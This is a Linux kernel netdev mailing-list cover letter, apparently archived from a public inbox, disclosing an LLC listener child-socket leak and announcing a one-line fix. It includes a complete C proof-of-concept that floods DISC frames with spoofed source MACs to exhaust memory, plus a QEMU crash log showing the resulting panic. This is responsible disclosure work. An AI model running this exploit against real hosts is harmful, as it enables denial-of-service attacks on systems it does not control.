From: Ren Wei <enjou1224z@gmail.com>
To: netdev@vger.kernel.org
Cc: davem@davemloft.net, edumazet@google.com, pabeni@redhat.com,
horms@kernel.org, luoxuanqiang@kylinos.cn, tim.bird@sony.com,
acme@mandriva.com, vega@nebusec.ai, xizh2024@lzu.edu.cn,
enjou1224z@gmail.com
Subject: [PATCH net 0/1] llc: fix listener child socket leak on non-SABME frames
Date: Fri, 24 Jul 2026 01:29:08 +0800 [thread overview]
Message-ID: <cover.1784725007.git.zihanx@nebusec.ai> (raw)
From: Zihan Xi <xizh2024@lzu.edu.cn>
Hi Linux kernel maintainers,
We found and validated an issue in net/llc/llc_conn.c. The bug is
reachable by root via a listening PF_LLC SOCK_STREAM socket and crafted
LLC class-2 DISC command frames. We've tested it, and it should not
affect any other functionality.
This series contains one patch:
1/1 llc: fix listener child socket leak on non-SABME frames
We provide bug details, reproducer steps, and a crash log below.
---- details below ----
Bug details:
llc_conn_handler() creates an incoming child socket for every frame that
hits a listening LLC socket before it verifies that the frame is a real
passive-open request. Non-SABME traffic, such as DISC commands, can
therefore allocate a child socket and immediately drive it through the
ADM-state handlers instead of the passive-open path.
The child is inserted into the SAP tables by
llc_create_incoming_sock(), keeps its device reference, and is never
cleaned up by that non-passive-open path. Repeating DISC frames with
unique source MAC addresses therefore leaks LLC child sockets and memory
until the guest runs out of memory.
This patch fixes the root cause by creating an incoming child socket
only when the listener receives a SABME command.
Reproducer:
Host:
make -C /var/cache/linux-patch/llc-q4n-clean-src \
O=/var/cache/linux-patch/rxrpc-b2k-build olddefconfig
make -C /var/cache/linux-patch/llc-q4n-clean-src \
O=/var/cache/linux-patch/rxrpc-b2k-build -j32 \
net/llc/llc_conn.o bzImage
Guest:
cd /root/llc-q4n
make
echo 2 > /proc/sys/vm/panic_on_oom
ip link del llc_rx0 2>/dev/null || true
ip link add llc_rx0 type veth peer name llc_tx0
ip link set llc_rx0 address 02:11:22:33:44:55
ip link set llc_tx0 address 02:11:22:33:44:66
ip link set llc_rx0 up
ip link set llc_tx0 up
./poc llc_rx0 llc_tx0 110000
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/if.h>
#include <linux/llc.h>
#include <net/ethernet.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#ifndef AF_LLC
#define AF_LLC 26
#endif
#define DEFAULT_RX_IF "llc_rx0"
#define DEFAULT_TX_IF "llc_tx0"
#define DEFAULT_SAP 0xc0
#define DEFAULT_REPORT_EVERY 10000ULL
static void die_errno(const char *what)
{
perror(what);
exit(EXIT_FAILURE);
}
static void usage(const char *prog)
{
fprintf(stderr,
"usage: %s [rx_if] [tx_if] [count]\n"
" rx_if: LLC listener interface (default: %s)\n"
" tx_if: raw packet sender interface (default: %s)\n"
" count: number of DISC frames to send, 0 means forever\n",
prog, DEFAULT_RX_IF, DEFAULT_TX_IF);
}
static void get_if_hwaddr(const char *ifname, unsigned char mac[ETH_ALEN])
{
struct ifreq ifr;
int fd;
fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
die_errno("socket(AF_INET)");
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
die_errno("ioctl(SIOCGIFHWADDR)");
memcpy(mac, ifr.ifr_hwaddr.sa_data, ETH_ALEN);
close(fd);
}
static int get_ifindex(const char *ifname)
{
struct ifreq ifr;
int fd;
fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
die_errno("socket(AF_INET)");
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
die_errno("ioctl(SIOCGIFINDEX)");
close(fd);
return ifr.ifr_ifindex;
}
static int make_listener(const char *ifname, uint8_t sap, unsigned char mac[ETH_ALEN])
{
struct sockaddr_llc addr;
int fd;
fd = socket(AF_LLC, SOCK_STREAM, 0);
if (fd < 0)
die_errno("socket(AF_LLC)");
get_if_hwaddr(ifname, mac);
memset(&addr, 0, sizeof(addr));
addr.sllc_family = AF_LLC;
addr.sllc_arphrd = ARPHRD_ETHER;
addr.sllc_sap = sap;
memcpy(addr.sllc_mac, mac, ETH_ALEN);
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
die_errno("bind(AF_LLC)");
if (listen(fd, 16) < 0)
die_errno("listen(AF_LLC)");
return fd;
}
static int make_packet_socket(const char *ifname, int *ifindex_out)
{
struct sockaddr_ll sll;
int fd;
int one = 1;
int ifindex = get_ifindex(ifname);
fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (fd < 0)
die_errno("socket(AF_PACKET)");
setsockopt(fd, SOL_PACKET, PACKET_QDISC_BYPASS, &one, sizeof(one));
memset(&sll, 0, sizeof(sll));
sll.sll_family = AF_PACKET;
sll.sll_protocol = htons(ETH_P_ALL);
sll.sll_ifindex = ifindex;
if (bind(fd, (struct sockaddr *)&sll, sizeof(sll)) < 0)
die_errno("bind(AF_PACKET)");
*ifindex_out = ifindex;
return fd;
}
static void fill_src_mac(unsigned char mac[ETH_ALEN], uint64_t n)
{
mac[0] = 0x02;
mac[1] = (n >> 32) & 0xff;
mac[2] = (n >> 24) & 0xff;
mac[3] = (n >> 16) & 0xff;
mac[4] = (n >> 8) & 0xff;
mac[5] = n & 0xff;
}
int main(int argc, char **argv)
{
static unsigned char frame[ETH_ZLEN];
unsigned char dst_mac[ETH_ALEN];
unsigned char src_mac[ETH_ALEN];
struct sockaddr_ll sll;
const char *rx_if = DEFAULT_RX_IF;
const char *tx_if = DEFAULT_TX_IF;
uint64_t count = 0;
uint64_t i = 1;
int listener_fd;
int packet_fd;
int ifindex;
if (argc > 1 && (!strcmp(argv[1], "-h") || !strcmp(argv[1], "--help"))) {
usage(argv[0]);
return 0;
}
if (argc > 1)
rx_if = argv[1];
if (argc > 2)
tx_if = argv[2];
if (argc > 3) {
char *end = NULL;
errno = 0;
count = strtoull(argv[3], &end, 0);
if (errno || !end || *end != '\0') {
fprintf(stderr, "invalid count: %s\n", argv[3]);
return EXIT_FAILURE;
}
}
if (argc > 4) {
usage(argv[0]);
return EXIT_FAILURE;
}
listener_fd = make_listener(rx_if, DEFAULT_SAP, dst_mac);
packet_fd = make_packet_socket(tx_if, &ifindex);
memset(frame, 0, sizeof(frame));
memcpy(frame, dst_mac, ETH_ALEN);
((struct ethhdr *)frame)->h_proto = htons(3);
frame[ETH_HLEN + 0] = DEFAULT_SAP;
frame[ETH_HLEN + 1] = 0x04;
frame[ETH_HLEN + 2] = 0x43; /* DISC command, P/F=0 */
memset(&sll, 0, sizeof(sll));
sll.sll_family = AF_PACKET;
sll.sll_ifindex = ifindex;
sll.sll_halen = ETH_ALEN;
memcpy(sll.sll_addr, dst_mac, ETH_ALEN);
fprintf(stderr,
"listener_if=%s sender_if=%s sap=0x%02x count=%s\n",
rx_if, tx_if, DEFAULT_SAP, count ? argv[3] : "0");
fprintf(stderr,
"listener_mac=%02x:%02x:%02x:%02x:%02x:%02x\n",
dst_mac[0], dst_mac[1], dst_mac[2],
dst_mac[3], dst_mac[4], dst_mac[5]);
fprintf(stderr,
"sending LLC DISC commands with a unique spoofed source MAC each time\n");
while (!count || i <= count) {
fill_src_mac(src_mac, i);
if (!memcmp(src_mac, dst_mac, ETH_ALEN))
src_mac[ETH_ALEN - 1] ^= 1;
memcpy(frame + ETH_ALEN, src_mac, ETH_ALEN);
if (sendto(packet_fd, frame, sizeof(frame), 0,
(struct sockaddr *)&sll, sizeof(sll)) < 0)
die_errno("sendto(AF_PACKET)");
if (!(i % DEFAULT_REPORT_EVERY))
fprintf(stderr, "sent=%llu\n",
(unsigned long long)i);
i++;
}
close(packet_fd);
close(listener_fd);
return 0;
}
------END poc.c--------
----BEGIN crash log----
Script started on 2026-03-20 14:25:56+08:00 [COMMAND="bash ~/.agents/skills/qemu-start-linux-kernel/scripts/qemu-start-kernel.sh /home/tanyuan-cve/data/repos/linux-repos/linux-lts-v6.12.74" TERM="screen.xterm-256color" TTY="/dev/pts/182" COLUMNS="80" LINES="24"]
SSH port for this QEMU instance: 16516
QEMU pidfile: /tmp/qemu-pidfile-y7peLhwC.pid
user root, no passwd
user test_user, no passwd
ssh to the qemu:
ssh -i /home/tanyuan-cve/data/rootfs/image.id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 16516 root@localhost
ssh -i /home/tanyuan-cve/data/rootfs/image.id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 16516 test_user@localhost
scp -i /home/tanyuan-cve/data/rootfs/image.id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -P 16516 $filename root@localhost:/root/
scp -i /home/tanyuan-cve/data/rootfs/image.id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -P 16516 $filename test_user@localhost:~/
Launching QEMU...
Formatting '/tmp/image-overlay-ouIAXGCW.qcow2', fmt=qcow2 cluster_size=65536 extended_l2=off compression_type=zlib size=4294967296 backing_file=/home/tanyuan-cve/data/rootfs/image.img backing_fmt=raw lazy_refcounts=off refcount_bits=16
[ 1665.704541][T10284] Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled
[ 1665.705358][T10284] CPU: 0 UID: 0 PID: 10284 Comm: poc Not tainted 6.12.74 #3
[ 1665.705911][T10284] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 1665.706676][T10284] Call Trace:
[ 1665.706943][T10284] <TASK>
[1665.707181][T10284] dump_stack_lvl (lib/dump_stack.c:105 (discriminator 2))
[1665.707568][T10284] panic (kernel/panic.c:339 (discriminator 1))
[1665.707918][T10284] ? dump_header (include/linux/rcupdate.h:815 (discriminator 1) mm/oom_kill.c:455 (discriminator 1) mm/oom_kill.c:478 (discriminator 1))
[1665.708305][T10284] ? __pfx_panic (kernel/panic.c:277)
-----END crash log-----
Best regards,
Zihan Xi
Zihan Xi (1):
llc: fix listener child socket leak on non-SABME frames
net/llc/llc_conn.c | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
--
2.43.0
next reply other threads:[~2026-07-23 17:29 UTC|newest]
Thread overview: 3+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-07-23 17:29 Ren Wei [this message]
2026-07-23 17:29 ` [PATCH net 1/1] llc: fix listener child socket leak on non-SABME frames Ren Wei
2026-07-28 11:49 ` Simon Horman
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=cover.1784725007.git.zihanx@nebusec.ai \
--to=enjou1224z@gmail.com \
--cc=acme@mandriva.com \
--cc=davem@davemloft.net \
--cc=edumazet@google.com \
--cc=horms@kernel.org \
--cc=luoxuanqiang@kylinos.cn \
--cc=netdev@vger.kernel.org \
--cc=pabeni@redhat.com \
--cc=tim.bird@sony.com \
--cc=vega@nebusec.ai \
--cc=xizh2024@lzu.edu.cn \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.